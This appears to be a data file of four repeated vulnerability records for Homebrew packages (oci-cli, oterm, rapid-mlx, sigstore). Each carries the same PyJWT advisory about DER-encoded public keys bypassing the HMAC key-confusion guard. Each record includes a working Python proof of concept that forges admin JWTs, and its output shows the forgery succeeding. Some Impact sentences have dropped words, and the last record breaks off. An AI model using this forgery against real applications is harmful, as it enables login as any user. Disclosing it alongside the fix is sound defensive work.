{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.14.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "oci-cli",
        "purl": "pkg:brew/oci-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.89.1"
            },
            {
              "fixed": "3.93.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.14.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.14.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-oci-cli-CVE-2026-102271",
  "modified": "2026-09-30T08:58:36Z",
  "published": "2026-09-30T08:58:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "oterm",
        "purl": "pkg:brew/oterm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.14.7"
            },
            {
              "fixed": "0.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-oterm-CVE-2026-102271",
  "modified": "2026-09-30T09:35:20Z",
  "published": "2026-09-30T09:35:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "rapid-mlx",
        "purl": "pkg:brew/rapid-mlx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.10.12"
            },
            {
              "fixed": "0.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-rapid-mlx-CVE-2026-102271",
  "modified": "2026-09-30T10:08:51Z",
  "published": "2026-09-30T10:08:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.13.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "sigstore",
        "purl": "pkg:brew/sigstore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.13.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.13.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw 